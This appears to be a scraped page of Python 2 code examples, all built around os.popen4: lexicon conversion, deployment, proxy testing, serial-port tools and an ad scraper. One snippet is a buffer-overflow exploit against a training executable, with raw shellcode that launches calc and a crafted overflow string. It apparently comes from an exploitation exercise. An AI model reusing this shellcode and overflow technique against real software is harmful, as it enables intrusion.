        os.popen("espeak -x","w").write(markup_inline_word("espeak",espeak))
    elif '--trymac' in sys.argv:
        i=sys.argv.index('--trymac')
        mac = convert(' '.join(sys.argv[i+2:]),sys.argv[i+1],'mac')
        os.popen("say -v Vicki","w").write(markup_inline_word("mac",mac))
        # Need to specify a voice because the default voice might not be able to take English phonemes (especially on 10.7+)
        # Vicki has been available since 10.3, as has the 'say' command (previous versions need osascript, see Gradint's code)
    elif '--phones' in sys.argv:
        i=sys.argv.index('--phones')
        format=sys.argv[i+1]
        w,r=os.popen4("espeak -q -x")
        w.write(' '.join(sys.argv[i+2:])) ; w.close()
        print(", ".join([" ".join([markup_inline_word(format,convert(word,"espeak",format)) for word in line.split()]) for line in [x for x in r.read().split("\n") if x]]))
    elif '--syllables' in sys.argv:
        i=sys.argv.index('--syllables')
        w,r=os.popen4("espeak -q -x")
        w.write('\n'.join(sys.argv[i+1:]).replace("!","").replace(":","")) ; w.close()
        rrr = r.read().split("\n")
        print(" ".join([hyphenate(word,sylcount(convert(line,"espeak","festival"))) for word,line in zip(sys.argv[i+1:],[x for x in rrr if x])]))
    elif '--phones2phones' in sys.argv:
        i=sys.argv.index('--phones2phones')
        format1,format2 = sys.argv[i+1],sys.argv[i+2]
        text=' '.join(sys.argv[i+3:])
        if format1 in formats_where_space_separates_words:
          for w in text.split(): print(markup_inline_word(format2, convert(w,format1,format2)))
        else: print(markup_inline_word(format2, convert(text,format1,format2)))
    elif '--convert' in sys.argv:
        i=sys.argv.index('--convert')
        fromFormat = sys.argv[i+1]
        toFormat = sys.argv[i+2]
        assert not fromFormat==toFormat, "cannot convert a lexicon to its own format (that could result in it being truncated)"
        outFile = None
        if toFormat=="cepstral": fname="lexicon.txt"
        elif toFormat in ["acapela-uk","x-sampa"]: fname="acapela.txt"
        elif "sapi" in toFormat: fname="run-ptts.bat"
        elif toFormat=="mac": fname="substitute.sh"
        elif toFormat=="bbcmicro": fname="BBCLEX"
        elif toFormat=="espeak":
            try: open("en_list")
            except: assert 0, "You should cd to the espeak source directory before running this"
            os.system("mv en_extra en_extra~ ; grep \" // \" en_extra~ > en_extra") # keep the commented entries, so can incrementally update the user lexicon only
            fname="en_extra"
            outFile=open(fname,"a")
        elif toFormat=="unicode-ipa":
            fname="words-ipa.html" # just make a table of words and pronunciation
            try:
                open(fname)
                assert 0, fname+" already exists, I'd rather not overwrite it; delete it yourself if you want"
            except IOError: pass
            outFile=open(fname,"w")
        else: assert 0, "Don't know where to put lexicon of format '%s', try using --phones or --phones2phones options instead" % (toFormat,)
        if not outFile:
            l = 0
            try: l = open(fname).read()
            except: pass
            assert not l, "File "+fname+" already exists and is not empty; are you sure you want to overwrite it?  (Delete it first if so)"
            outFile=open(fname,"w")
        print("Writing lexicon entries to",fname)
        convert_user_lexicon(fromFormat,toFormat,outFile)
        outFile.close()
        if toFormat=="espeak": os.system("espeak --compile=en")
    else:
        print(program_name)
        print("\nAvailable pronunciation formats:",', '.join(list(table[0])))
        print("\nUse --convert <from-format> <to-format> to convert a user lexicon file.  Expects Festival's .festivalrc to be in the home directory, or espeak's en_extra or Cepstral's lexicon.txt to be in the current directory.\nFor InfoVox/acapela, export the lexicon to acapela.txt in the current directory.\nE.g.: python lexconvert.py --convert festival cepstral")
        print("\nUse --try <format> <pronunciation> to try a pronunciation with eSpeak (requires 'espeak' command),\n e.g.: python lexconvert.py --try festival h @0 l ou1\n or: python lexconvert.py --try unicode-ipa '\\u02c8\\u0279\\u026adn\\u0329' (for Unicode put '\\uNNNN' or UTF-8)\n (it converts to espeak format and then uses espeak to play it)\nUse --trymac to do the same as --try but with Mac OS 'say' instead of 'espeak'")
        print("\nUse --phones2phones <format1> <format2> <phones in format1> to perform a one-off conversion of phones from format1 to format2.")
        print("\nUse --phones <format> <words> to convert 'words' to phones in format 'format'.  espeak will be run to do the text-to-phoneme conversion, and the output will then be converted to 'format'.\nE.g.: python lexconvert.py --phones unicode-ipa This is a test sentence.\nNote that some commercial speech synthesizers do not work well when driven entirely from phones, because their internal format is different and is optimised for normal text.")
        print("\nUse --syllables <words> to attempt to break 'words' into syllables for music lyrics (uses espeak to determine how many syllables are needed)")
        print("\nUse --festival-dictionary-to-espeak <location> to convert the Festival Oxford Advanced Learners Dictionary (OALD) pronunciation lexicon to ESpeak.\nYou need to specify the location of the OALD file in <location>,\ne.g. for Debian festlex-oald package: python lexconvert.py --festival-dictionary-to-espeak /usr/share/festival/dicts/oald/all.scm\nor if you can't install the Debian package, try downloading http://ftp.debian.org/debian/pool/non-free/f/festlex-oald/festlex-oald_1.4.0.orig.tar.gz, unpack it into /tmp, and do: python lexconvert.py --festival-dictionary-to-espeak /tmp/festival/lib/dicts/oald/oald-0.4.out\nIn all cases you need to cd to the espeak source directory before running this.  en_extra will be overwritten.  Converter will also read your ~/.festivalrc if it exists.  (You can later incrementally update from ~/.festivalrc using the --convert option; the entries from the system dictionary will not be overwritten in this case.)  Specify --without-check to bypass checking the existing espeak pronunciation for OALD entries (much faster, but makes a larger file and in some cases compromises the pronunciation quality).")
Example #34
0
def get_ads(cursor=None, count=0):
    print "getting ads %d" % count

    ads = Ad.all().filter("source =", "avito").order("-created_at")

    print ads[0].created_at

    if cursor:
        ads = ads.with_cursor(cursor)

    ads_for_put = []
    ads_for_delete = []

    for ad in ads.fetch(10):
        try:
            parser = adsparser.parse(ad.key().name(), 'spb')
        except StandardError as e:
            msg = e.__str__()
            if msg == 'HTTP Error 404: Not found':
                print "deleting"
                ad.deleted = True

                ads_for_put.append(ad)

            continue

        if parser.phone_key is None:
            continue

        phone_url = "%s?pkey=%s" % (ad.key().name().replace(
            'items/', 'items/phone/'), parser.phone_key)
        phone_cmd = command.replace("__url__", phone_url)

        print ad.key().name()

        fin, fout = os.popen4(phone_cmd)
        phone = fout.read()

        time.sleep(2)

        f = open("result.txt", "r")
        phone = adsparser.format_phone(f.read())
        f.close()

        if parser.is_real_agent:
            ad.rating = 0
        else:
            if ad.phone is None or ad.phone == '':
                ad.rating = 100

        if ad.phone is not None and ad.phone != '' and ad.phone != phone:
            new_ad = clone_entity(ad,
                                  key_name="%s?v2" % ad.key().name(),
                                  parent=ad)
            new_ad.phone = phone
            new_ad.created_at = datetime.datetime.now()

            ads_for_put.append(new_ad)

        if ad.phone is None or ad.phone == '':
            ad.phone = phone
            ad.created_at = datetime.datetime.combine(
                ad.created_at.date(),
                datetime.datetime.now().time())

        ads_for_put.append(ad)

    print "saving ads"
    db.put(ads_for_put)
    print "ads saved"

    for ad in ads_for_put:
        try:
            print "adding task"
            taskqueue.add(queue_name='quick',
                          url='/ad/check',
                          params={'key': ad.key().name()})
        except:
            pass

    print "tasks added"

    get_ads(ads.cursor(), count + 10)
import struct
import random, string
from os import popen4

def randomword(length):
    return ''.join(random.choice(string.letters) for i in range(length))


shellcode="\xC7\x06\x63\x61\x6C\x63\xC6\x46\x04\x00\x56\xE8\x0C\x4C\x27\x00"


#stdin,stdout = popen4(r"C:\Users\ricnar\Desktop\21\EXAMEN_LEVEL_21_b.exe") #nueva version
stdin,stdout = popen4(r"C:\Users\ricnar\Desktop\21\EXAMEN_LEVEL_21.exe")
print stdin


a=randomword(1000-203)


print a


#cadena = "1024" + "\n"+ "calc\x00"+ (20-5)* "W"+struct.pack("<L",0x421000) +  200* "W"+struct.pack("<L",0x421000)+ a + '\n'+ struct.pack("<L",0x00404B34)+"\n" #nueva version


cadena = "1024" + "\n"+ "calc\x00"+ (20-5)* "W"+struct.pack("<L",0x18ff00) +  200* "W"+struct.pack("<L",0x18ff00)+ a +\
         '\n'+ struct.pack("<L",0x18ff00) * 0x10+ "AAAA" + struct.pack("<L",0x00417AC4)+ shellcode+"\n" #version original


print "Escribe: " + cadena
Example #36
0
    def __runDeploy(self, clusterCfg, arg):
        cmd = "%s -c %s %s" % (self.__deploy, clusterCfg, arg)
        if self.__showCmd: print cmd

        (fi, foe) = os.popen4(cmd)
        fi.close()

        inNodes = False
        inCmds = False

        for line in foe:
            line = line.rstrip()
            if self.__showCmdOutput: print '+ ' + line

            if line == "NODES:":
                inNodes = True
                continue

            if inNodes:
                if len(line) == 0: continue

                m = Deploy.NODE_PAT.match(line)
                if m:
                    #host = m.group(1)
                    #compName = m.group(2)
                    #compId = int(m.group(3))
                    #strType = m.group(5)
                    continue

                m = Deploy.COMP_PAT.match(line)
                if m:
                    #compName = m.group(1)
                    #compId = int(m.group(2))
                    #strType = m.group(4)
                    continue

                inNodes = False

            if line == "COMMANDS:":
                inCmds = True
                continue

            if inCmds:
                m = Deploy.CMD_PAT.match(line)
                if m:
                    continue
                inCmds = False

            m = Deploy.CFG_PAT.match(line)
            if m:
                if clusterCfg != m.group(1):
                    raise SystemExit("Expected to deploy %s, not %s" %
                                     (clusterCfg, m.group(1)))
                continue

            m = Deploy.VERS_PAT.match(line)
            if m:
                #version = m.group(1)
                continue

            if line.startswith("ERROR: "):
                raise SystemExit("Deploy error: " + line[7:])

            print >> sys.stderr, "Deploy: %s" % line
        foe.close()
Example #37
0
##for key in ['A','S','D','V','Z','X','C','1','2','3','4']:
##name = 'design_' + key
##os.popen4('egg-texture-cards -o %s_maps.egg -p 96,100 %s_ready.png %s_click.png %s_rollover.png %s_disabled.png' % (name, name, name, name, name))

##for key in ['A','S','D','F','G','Z','X','C','V','B']:
##name = 'mapmove_' + key
##os.popen4('egg-texture-cards -o %s_maps.egg -p 96,100 %s_ready.png %s_click.png %s_rollover.png %s_disabled.png' % (name, name, name, name, name))

##for key in ['buildships', 'repairships', 'upgradeships']:
##name = 'shipyard_' + key
##os.popen4('egg-texture-cards -o %s_maps.egg -p 800,100 %s_ready.png %s_click.png %s_rollover.png %s_disabled.png' % (name, name, name, name, name))

for key in ['warparmies', 'warpships', 'cancel', 'selectall', 'selectdamaged']:
    name = 'mapmove_' + key
    os.popen4(
        'egg-texture-cards -o %s_maps.egg -p 800,100 %s_ready.png %s_click.png %s_rollover.png %s_disabled.png'
        % (name, name, name, name, name))

##for key in ['simulatedesign']:
##name = 'bv_' + key
##os.popen4('egg-texture-cards -o %s_maps.egg -p 800,100 %s_ready.png %s_click.png %s_rollover.png %s_disabled.png' % (name, name, name, name, name))

##for key in ['A','S','D','Z','X','C','F','V']:
##name = 'bv_' + key
##os.popen4('egg-texture-cards -o %s_maps.egg -p 96,100 %s_ready.png %s_click.png %s_rollover.png %s_disabled.png' % (name, name, name, name, name))

##for key in ['buildmarines', 'refitmarines', 'upgrademarines']:
##name = 'mi_' + key
##os.popen4('egg-texture-cards -o %s_maps.egg -p 800,100 %s_ready.png %s_click.png %s_rollover.png %s_disabled.png' % (name, name, name, name, name))

##for key in ['leveragemax']:
Example #38
0
# NO EVENT SHALL DOUG HELLMANN BE LIABLE FOR ANY SPECIAL, INDIRECT OR
# CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
# OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT,
# NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN
# CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
#

"""Example use of popen() varients from os.

"""

# Ignore deprecation warnings
import warnings
warnings.filterwarnings('ignore', 'os.popen.* is deprecated.*',)

#end_pymotw_header

import os

print 'popen4:'
pipe_stdin, pipe_stdout_and_stderr = os.popen4('cat -; echo ";to stderr" 1>&2')
try:
    pipe_stdin.write('through stdin to stdout')
finally:
    pipe_stdin.close()
try:
    stdout_value = pipe_stdout_and_stderr.read()
finally:
    pipe_stdout_and_stderr.close()
print '\tcombined output:', repr(stdout_value)
Example #39
0
def cmdReturn(cmd):
    fin, fout = os.popen4(cmd)
    lines = fout.readlines()

    return lines
Example #40
0
while (True): #infinite loop
    time.sleep(w_time)
    os.system("rm *.temp")
 #   os.system("rm *.cache")
 #   os.system("rm *.pit")

    try:
    #get you name, identified by 'self'
    #naming convension is ccnx:/csu/topology/a
    #and ccnx:/csu/topology/self
        #publish a file under ccnx:/csu/topology/a/ping
        

        get_name_self = "ccndstatus|grep self|awk '{print $1}'"
        garbage, self_name_op = os.popen4(get_name_self)
        self_name = self_name_op.read()
        self_name = self_name.split('\n')[0]

        print 'self_name', self_name
        
        #get the remote connections, identified by 'topology'
        get_conn_remote = "ccndstatus |grep topology|grep -v self| " + "awk '{print $1}'"
        print get_conn_remote
        garbage, get_remote_op = os.popen4(get_conn_remote)
        remote_set = get_remote_op.read()
        remote_set_list = str.splitlines(remote_set)
        print 'remote set', remote_set_list
        
        #if you are starting up, publish your own topology, 
        if (init_flag == 0):
Example #41
0
def output(command):
    (ignore, stream) = os.popen4(command)
    return stream.read()
Example #42
0
    def run_test(self, methname, instrname, argmodes, args_lists,
                 instr_suffix=None):
        global labelcount
        labelcount = 0
        oplist = []
        testdir = udir.ensure(self.TESTDIR, dir=1)
        inputname = str(testdir.join(INPUTNAME % methname))
        filename  = str(testdir.join(FILENAME  % methname))
        g = open(inputname, 'w')
        g.write('\x09.string "%s"\n' % BEGIN_TAG)
        for args in args_lists:
            suffix = ""
    ##        all = instr.as_all_suffixes
    ##        for m, extra in args:
    ##            if m in (i386.MODRM, i386.MODRM8) or all:
    ##                suffix = suffixes[sizes[m]] + suffix
            if (argmodes and not self.is_xmm_insn
                         and not instrname.startswith('FSTP')):
                suffix = suffixes[self.WORD]
            # Special case: On 64-bit CPUs, rx86 assumes 64-bit integer
            # operands when converting to/from floating point, so we need to
            # indicate that with a suffix
            if (self.WORD == 8) and (instrname.startswith('CVT') and
                                     'SI' in instrname):
                suffix = suffixes[self.WORD]

            if instr_suffix is not None:
                suffix = instr_suffix    # overwrite

            following = ""
            if False:   # instr.indirect:
                suffix = ""
                if args[-1][0] == i386.REL32: #in (i386.REL8,i386.REL32):
                    labelcount += 1
                    following = "\nL%d:" % labelcount
                elif args[-1][0] in (i386.IMM8,i386.IMM32):
                    args = list(args)
                    args[-1] = ("%d", args[-1][1])  # no '$' sign
                else:
                    suffix += " *"
                k = -1
            else:
                k = len(args)
            #for m, extra in args[:k]:
            #    assert m != i386.REL32  #not in (i386.REL8,i386.REL32)
            assembler_operand = self.get_all_assembler_operands()
            ops = []
            for mode, v in zip(argmodes, args):
                ops.append(assembler_operand[mode](v))
            ops.reverse()
            #
            if (instrname.lower() == 'mov' and suffix == 'q' and
                ops[0].startswith('$') and 0 <= int(ops[0][1:]) <= 4294967295
                and ops[1].startswith('%r')):
                # movq $xxx, %rax => movl $xxx, %eax
                suffix = 'l'
                ops[1] = reduce_to_32bit(ops[1])
            if instrname.lower() == 'movd':
                ops[0] = reduce_to_32bit(ops[0])
                ops[1] = reduce_to_32bit(ops[1])
            #
            op = '\t%s%s %s%s' % (instrname.lower(), suffix,
                                  ', '.join(ops), following)
            g.write('%s\n' % op)
            oplist.append(op)
        g.write('\t.string "%s"\n' % END_TAG)
        g.close()
        f, g = os.popen4('as --%d "%s" -o "%s"' %
                         (self.WORD*8, inputname, filename), 'r')
        f.close()
        got = g.read()
        g.close()
        error = [line for line in got.splitlines() if 'error' in line.lower()]
        if error:
            raise Exception("Assembler got an error: %r" % error[0])
        error = [line for line in got.splitlines()
                 if 'warning' in line.lower()]
        if error:
            raise Exception("Assembler got a warning: %r" % error[0])
        try:
            f = open(filename, 'rb')
        except IOError:
            raise Exception("Assembler did not produce output?")
        data = f.read()
        f.close()
        i = data.find(BEGIN_TAG)
        assert i>=0
        j = data.find(END_TAG, i)
        assert j>=0
        as_code = data[i+len(BEGIN_TAG)+1:j]
        return oplist, as_code
""" Functional test for deprecated methods in Python 2 """
# pylint: disable=no-member
import os
import xml.etree.ElementTree

os.popen2("")  # [deprecated-method]
os.popen3("")  # [deprecated-method]
os.popen4("")  # [deprecated-method]
xml.etree.ElementTree.Element("elem").getchildren()  # [deprecated-method]
Example #44
0
def shell(cmd):
    return os.popen4(cmd)[1].read()[:-1]
Example #45
0
 def get_table_data(self):
     stdouterr = os.popen4("dir c:\\")[1].read()
     lines = stdouterr.splitlines()
     lines = lines[5:]
     lines = lines[:-2]
     self.tabledata = [re.split(r"\s+", line, 4) for line in lines]
Example #46
0
def execute(args, shell=False, capture=False):
    import sys, os
    parameters = []
    cmd = None
    if not isinstance(args, list):
        import shlex
        cmd = args
        if sys.platform[:3] == 'win':
            ucs = False
            if sys.version_info[0] < 3:
                if not isinstance(cmd, str):
                    cmd = cmd.encode('utf-8')
                    ucs = True
            args = shlex.split(cmd.replace('\\', '\x00'))
            args = [n.replace('\x00', '\\') for n in args]
            if ucs:
                args = [n.decode('utf-8') for n in args]
        else:
            args = shlex.split(cmd)
    for n in args:
        if sys.platform[:3] != 'win':
            replace = {
                ' ': '\\ ',
                '\\': '\\\\',
                '\"': '\\\"',
                '\t': '\\t',
                '\n': '\\n',
                '\r': '\\r'
            }
            text = ''.join([replace.get(ch, ch) for ch in n])
            parameters.append(text)
        else:
            if (' ' in n) or ('\t' in n) or ('"' in n):
                parameters.append('"%s"' % (n.replace('"', ' ')))
            else:
                parameters.append(n)
    if cmd is None:
        cmd = ' '.join(parameters)
    if sys.platform[:3] == 'win' and len(cmd) > 255:
        shell = False
    if shell and (not capture):
        os.system(cmd)
        return ''
    elif (not shell) and (not capture):
        import subprocess
        if 'call' in subprocess.__dict__:
            subprocess.call(args)
            return ''
    import subprocess
    if 'Popen' in subprocess.__dict__:
        p = subprocess.Popen(args,
                             shell=shell,
                             stdin=subprocess.PIPE,
                             stdout=subprocess.PIPE,
                             stderr=subprocess.STDOUT)
        stdin, stdouterr = (p.stdin, p.stdout)
    else:
        p = None
        stdin, stdouterr = os.popen4(cmd)
    text = stdouterr.read()
    stdin.close()
    stdouterr.close()
    if p: p.wait()
    if not capture:
        sys.stdout.write(text)
        sys.stdout.flush()
        return ''
    return text
Example #47
0
    def build(self, force=False, force_children=False):

        # Determine if the timestamp on any dependencies is newer than the output
        if not force:
            abs_output_file = self.abs_out_path(self.abs_in_path(
                self.out_file))
            if os.path.exists(abs_output_file):
                build_time = os.stat(abs_output_file).st_mtime
                deps = [self.file_name] + [
                    get_text(x)
                    for x in self.old_state_node.xpath('depends/depend')
                ]
                changed = any(
                    os.stat(self.abs_in_path(d)).st_mtime > build_time
                    for d in deps)
                if not changed:
                    return False

        if self.project.options.verbose:
            print "Building " + self.file_name

        # Prepare the new state node
        self.state_node = self.state_doc.createElementNS(
            EMPTY_NAMESPACE, 'page')
        self.state_node.setAttributeNS(EMPTY_NAMESPACE, 'src', self.file_name)
        for node_name in [
                'exports', 'links', 'produces', 'depends', 'edepends',
                'children'
        ]:
            new_node = self.project.state_doc.createElementNS(
                EMPTY_NAMESPACE, node_name)
            self.state_node.appendChild(new_node)
            setattr(self, node_name + '_node', new_node)
        self.add_depends(self.project.stylesheet_fname)

        # Run the XSLT processor
        self.old_state_node.parentNode.insertBefore(self.state_node,
                                                    self.old_state_node)
        self.old_state_node.parentNode.removeChild(self.old_state_node)
        try:
            input = InputSource.DefaultFactory.fromUri(
                OsPathToUri(self.project.in_root + self.file_name))
            self.project.processor.extensionParams[(NAMESPACE,
                                                    'context')] = self
            output = self.project.processor.run(input)

            # Spell checking currently disabled
            if 0:  # not self.state_node.xpath('exports/spell'):
                # Check spelling
                pin, pout = os.popen4(
                    '"c:/program files/aspell/bin/aspell" --master=british --home-dir=%s --mode=sgml --rem-sgml-check=alt list'
                    % self.in_root)
                try:
                    pin.write(output)
                except IOError:
                    raise Exception('aspell failed: ' + pout.read())
                pin.close()
                bad_words = pout.read()
                pout.close()
                if bad_words:
                    raise SpellingMistake(
                        "Mispelled words in '%s': %s" %
                        (self.out_file, bad_words), self.out_file,
                        bad_words.split('\n'))

        except:
            self.state_node.parentNode.insertBefore(self.old_state_node,
                                                    self.state_node)
            self.state_node.parentNode.removeChild(self.state_node)
            raise

        # Determine the output file name and write output to it
        abs_output_file = self.abs_out_path(self.abs_in_path(self.out_file))

        dtdnode = self.state_node.xpath('exports/dtd')
        dtd = dtdnode and Conversions.StringValue(dtdnode[0]) or 'strict'
        output_fh = open(abs_output_file, 'w')
        output_fh.write(dtd_defs[dtd] + '\n' + output)
        output_fh.close()

        # Determine if any exported state was changed
        old_exports = dict((x.tagName, get_text(x))
                           for x in self.old_state_node.xpath('exports/*'))
        new_exports = dict((x.tagName, get_text(x))
                           for x in self.state_node.xpath('exports/*'))
        changed = []
        for e in new_exports:
            if new_exports[e] != old_exports.pop(e, None):
                changed.append(e)
        changed += old_exports.keys()
        self.project.changed_exports += [
            '%s:%s' % (self.file_name, c) for c in changed
        ]

        # Determine if the list of children changed
        old_children = [
            Conversions.StringValue(x)
            for x in self.old_state_node.xpath('children/page/@src')
        ]
        new_children = [
            Conversions.StringValue(x)
            for x in self.state_node.xpath('children/page/@src')
        ]
        if old_children != new_children:
            self.project.changed_exports.append('%s:children' % self.file_name)

        # Build children as appropriate
        children_map = dict(
            (x.getAttributeNS(EMPTY_NAMESPACE, 'src'), x)
            for x in self.old_state_node.xpath('children/page'))
        for skel_node in list(self.state_node.xpath('children/page')):
            file_name = skel_node.getAttributeNS(EMPTY_NAMESPACE, 'src')
            full_node = children_map.get(file_name)
            isnew = not bool(full_node)
            if isnew:
                full_node = skel_node
            else:
                skel_node.parentNode.insertBefore(full_node, skel_node)
                skel_node.parentNode.removeChild(skel_node)
            if (isnew or force_children) and file_name.endswith('.pip'):
                PippFile(self.project,
                         full_node).build(force or isnew, force_children)

        return True
Example #48
0
def main():
     global pub_urls

     try:
         proxy_bin = sys.argv[1]
     except IndexError:
         usage()
         sys.exit(2)

     try:
          port = sys.argv[2]
     except IndexError:
          port = str(random.randint(1025, 49151))

     c = 0
     while (c < tries):      
          c += 1
          print 'Binary: %s' % (proxy_bin);
          print 'Running on port %s' % port;
         
          # Start the proxy running in the background
          cid = os.spawnl (os.P_NOWAIT, proxy_bin, proxy_bin, port);

          # Give the proxy time to start up and start listening on the port
          time.sleep(2)
         
          totalcount = 0;
          passcount = 0
          for url in pub_urls:
              totalcount += 1;
              print '### Testing: ' + url
              passed = run_test (compare_url, (url, port), cid)
              if not live_process (cid):
                  print '!!!Proxy process experienced abnormal termination during test- restarting proxy!'
                  (cid, port) = restart_proxy (proxy_bin, port, cid)
                  passed = False

              if passed:
                  print '%s: [PASSED]\n' % url
                  passcount += 1
              else:
                  print '%s: [FAILED]\n' % url

          for count in concurrency_tries:
              for url in pub_conc:
                  totalcount += 1;
                  print '### Testing %d concurrent connects to %s' % (count, url)
                  passed = run_test (concurrent_connect, (count, port, url), cid)
                  if not live_process (cid):
                      print '!!!Proxy process experienced abnormal termination during test- restarting proxy!'
                      (cid, port) = restart_proxy (proxy_bin, port, cid)
                      passed = False
                      
                  if passed:
                      print 'Connect to %s, %d concurrently: [PASSED]\n' % (url, count)
                      passcount += 1
                  else:
                      print 'Connect to %s, %d concurrently: [FAILED]\n' % (url, count)

          for count in concurrency_tries:
              for url in pub_conc:
                  totalcount += 1;
                  print '### Testing %d concurrent fetches to %s' % (count, url)
                  passed = run_test (concurrent_fetch, (count, port, url), cid)
                  if not live_process (cid):
                      print '!!!Proxy process experienced abnormal termination during test- restarting proxy!'
                      (cid, port) = restart_proxy (proxy_bin, port, cid)
                      passed = False

                  if passed:
                      print 'Fetch to %s, %d concurrently: [PASSED]\n' % (url, count)
                      passcount += 1
                  else:
                      print 'Fetch to %s, %d concurrently: [FAILED]\n' % (url, count)


          for count in concurrency_tries:
              for url in pub_conc:
                  totalcount += 1;
                  print '### Testing %d concurrent split fetches' % count
                  passed = run_test (concurrent_fetch_broken, (count, port, url), cid)
                  if not live_process (cid):
                      print '!!!Proxy process experienced abnormal termination during test- restarting proxy!'
                      (cid, port) = restart_proxy (proxy_bin, port, cid)
                      passed = False

                  if passed:
                      print 'Fetch to %s, %d concurrently: [PASSED]\n' % (url, count)
                      passcount += 1
                  else:
                      print 'Fetch to %s, %d concurrently: [FAILED]\n' % (url, count)


          for arg in ab_conc:
              for url in pub_ab:
                  totalcount += 1;
                  print '### Testing apache benchmark on args [%s]' % arg
                  cmdstr = "ab -X 127.0.0.1:%s %s %s" % (port, arg, url);

                  success = False;
                  (sin, sout) = os.popen4 (cmdstr);
                  line = sout.readline ()
                  while line != "" and line != None:
                      print "   ",line.strip ();
                      if line.find ("Failed requests:        0") >= 0:
                          success = True;
                      line = sout.readline ();

                  if success:
                      print '%s with args %s: [PASSED]\n' % (url, arg)
                      passcount += 1;
                  else:
                      print '%s with args %s: [FAILED]\n' % (url, arg)
                      (cid, port) = restart_proxy (proxy_bin, port, cid)

          # Cleanup
          terminate (cid)
          print 'Summary: '
          print '\tType %s: %d of %d tests passed.' % ("multi-process", passcount, totalcount);
          terminate (cid);
          port = str (random.randint (1025, 49151));
Example #49
0
def test(exepath, fname):
    out = os.popen4([exepath, fname])
    return out[1].read()
Example #50
0
 def checker():
     cmd = 'wmctrl -l'
     fin, fout = os.popen4(cmd)
     result = fout.read()
     return result
Example #51
0
    def _find_active_tty(self):
		#os.system('ls /sys/class/tty/ |grep USB')
		self.tty = os.popen4('ls /sys/class/tty/ |grep USB |tail -1')[1].read()
		self.tty_portEdit.setText(self.tty)
Example #52
0
def shellexec(cmd):
    #    print cmd;
    [pin, pout] = os.popen4(" ".join(cmd))
    return pout.read()
        except StandardError, v:
            log.exception("error on proxy.RetrieveCACertificates(%s)", token)
            raise v

        log.debug("retrieved certificate list %s", rval)
        return rval


if __name__ == "__main__":
    req = """-----BEGIN CERTIFICATE REQUEST-----\nMIIB0TCCAToCADBgMRQwEgYDVQQKEwtBY2Nlc3MgR3JpZDEdMBsGA1UECxMUYWdk\nZXYtY2EubWNzLmFubC5nb3YxEjAQBgNVBAsTCW15LmRvbWFpbjEVMBMGA1UEAxMM\nUm9iZXJ0IE9sc29uMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5lvEXiR5R\na6QOJJpRpOXz4R0DxnTVBOvTKvPijSmcc6IbNnNimS7oE/4U+IJtQblOGGdqRwLX\nHOmVY3nDQ60yhQ34ynME3Sr3ntAp6zFp5Ek7LgjOWyEP3hIVWh0Paa36FHn6nCvm\nDYz/1/Ns9c17zK/fWy+PYKMz8Vz0cs2O1wIDAQABoDIwMAYJKoZIhvcNAQkOMSMw\nITARBglghkgBhvhCAQEEBAMCBPAwDAYDVR0TAQH/BAIwADANBgkqhkiG9w0BAQQF\nAAOBgQB5HQyPLAR7XaD6S3Rsso/Q9cbPSxHeWJE4ehF5Ohp+0yAuBpc3L7/LlDkX\nvHri5JGXrGzJGf0/cqzzduh0S/ejMGksNiupsSPlHzkVhQNtAvD6A9OT+25wMyHI\nzSidh+6OJkSBLVb2tkEK5wd844MLE+m0lgTKbNX2C9UAZmfkKw==\n-----END CERTIFICATE REQUEST-----\n"""
    email = "*****@*****.**"

    token = "412d8f4d766c6290bd3acc7e74763b72"

    import os

    w, r = os.popen4("openssl req -noout -text")
    w.write(req)
    w.close()
    print r.read()

    submitServerURL = "http://www.mcs.anl.gov/fl/research/accessgrid/ca/agdev/server.cgi"
    print "Sending..."
    #certificateClient = CRSClient(submitServerURL)
    certificateClient = CRSClient(submitServerURL, "yips.mcs.anl.gov", 3128)
    #requestId = certificateClient.RequestCertificate(email, req)
    #print "Sent, got id ", requestId

    ret = certificateClient.RetrieveCertificate(token)
    print "got ret ", ret
Example #54
0
 def popen(argv):
     try:
         si, so = os.popen4(' '.join(argv))
         return so.read().strip()
     except:
         raise IOError('lsusb failed')
Example #55
0
    def _read_info(self):
		self.completed = 0
		self.progress.setTextVisible(False)
		self.progress.setRange(0,100)
		#while self.completed < 100:
			#self.completed += 0.1
		self.progress.setValue(self.completed)
			
		os.system('killall minicom')
		self.completed += 10
		self.progress.setValue(self.completed)
		time.sleep(3)
		self.tty= self.tty_portEdit.text()
		tty = "/dev/%s"%(self.tty)
		ser = serial.Serial(tty,9600)
		ser.write("(console)")
		ser.close()
		self.completed += 10
		self.progress.setValue(self.completed)
		time.sleep(2)
		self.elid_r = os.popen4('python exec_cmd.py /dev/%s "cat /data/etc/ELID" 10 |tail -2 |head -1'%(self.tty))[1].read()
		comm_check = self.elid_r.split(":")[0]
		if str(comm_check) == 'ERROR':
				#print(comm_check)
				self._start_process(
			'tmux', ['send-keys', '-t', 'my_session:0', 'No Comms on CSU serial!'])
				self.housingEdit.setText("Err!")
				self.elidEdit.setText("Err!")
				self.progress.reset()
				return
		self.elidEdit.setText(self.elid_r)
		self.completed += 5
		self.progress.setValue(self.completed)
		self.housing_r = os.popen4('python exec_cmd.py /dev/%s "cat /data/etc/HOUSING" 10 |tail -2 |head -1'%(self.tty))[1].read()
		self.housingEdit.setText(self.housing_r)
		self.completed += 5
		self.progress.setValue(self.completed)
		self.vbat1_r = os.popen4('python exec_cmd.py /dev/%s "csu_pwrctrl -g vbat1" 10 |tail -2 |head -1'%(self.tty))[1].read()
		self.completed += 5
		self.progress.setValue(self.completed)
		self.vbat2_r = os.popen4('python exec_cmd.py /dev/%s "csu_pwrctrl -g vbat2" 10 |tail -2 |head -1'%(self.tty))[1].read()	
		self.completed += 5
		self.progress.setValue(self.completed)
		self.imain_r = os.popen4('python exec_cmd.py /dev/%s "csu_pwrctrl -g imain" 10 |tail -2 |head -1'%(self.tty))[1].read()
		self.completed += 5
		self.progress.setValue(self.completed)
		self.vbat_r = os.popen4('python exec_cmd.py /dev/%s "csu_pwrctrl -g vbat" 10 |tail -2 |head -1'%(self.tty))[1].read()
		self.completed += 5
		self.progress.setValue(self.completed)
		self.batsel_r = os.popen4('python exec_cmd.py /dev/%s "csu_pwrctrl -g batsel" 10 |tail -2 |head -1'%(self.tty))[1].read()
		self.completed += 5
		self.progress.setValue(self.completed)
		
		self.bat1Edit.setText(self.vbat1_r.split("=")[1])
